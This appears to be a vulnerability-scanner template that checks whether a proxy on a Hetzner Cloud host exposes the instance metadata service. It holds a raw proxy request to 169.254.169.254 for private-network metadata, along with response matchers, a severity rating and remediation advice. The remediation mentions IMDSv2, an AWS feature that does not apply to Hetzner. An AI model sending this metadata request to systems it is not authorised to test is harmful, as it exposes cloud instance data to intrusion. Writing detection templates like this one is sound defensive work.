id: metadata-service-hetzner
# This attack abuses a misconfigured proxy that allows access to the metadata
# IP or a name which resolves to the IP. A standard proxy request is made to
# the proxy using the full metadata URL, which the proxy will fulfill to its
# own metadata service.
#
# The proxy may also be vulnerable to host/port enumeration on localhost or
# inside the private network.
info:
name: Hetzner Cloud Metadata Service Check
author: sullo
severity: critical
description: The Hetzner Cloud host is configured as a proxy which allows access to the instance metadata service. This could allow significant access to the host/infrastructure.
reference:
- https://docs.hetzner.cloud/#server-metadata
- https://blog.projectdiscovery.io/abusing-reverse-proxies-metadata/
- https://www.mcafee.com/blogs/enterprise/cloud-security/how-an-attacker-could-use-instance-metadata-to-breach-your-app-in-aws/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:N
cvss-score: 9.3
cwe-id: CWE-441
remediation: Disable the proxy or restrict configuration to only allow access to approved hosts/ports. Upgrade to IMDSv2 if possible.
tags: exposure,config,hetzner,proxy,misconfig,metadata
requests:
- raw:
- |+
GET http://{{hostval}}/v1/metadata/private-networks HTTP/1.1
Host: {{hostval}}
payloads:
hostval:
- aws.interact.sh
- 169.254.169.254
unsafe: true
matchers:
- type: word
part: body
words:
- "alias_ips:"
- "local-ipv4:"
- "instance-id:"
condition: or
# Enhanced by cs on 2022/02/14
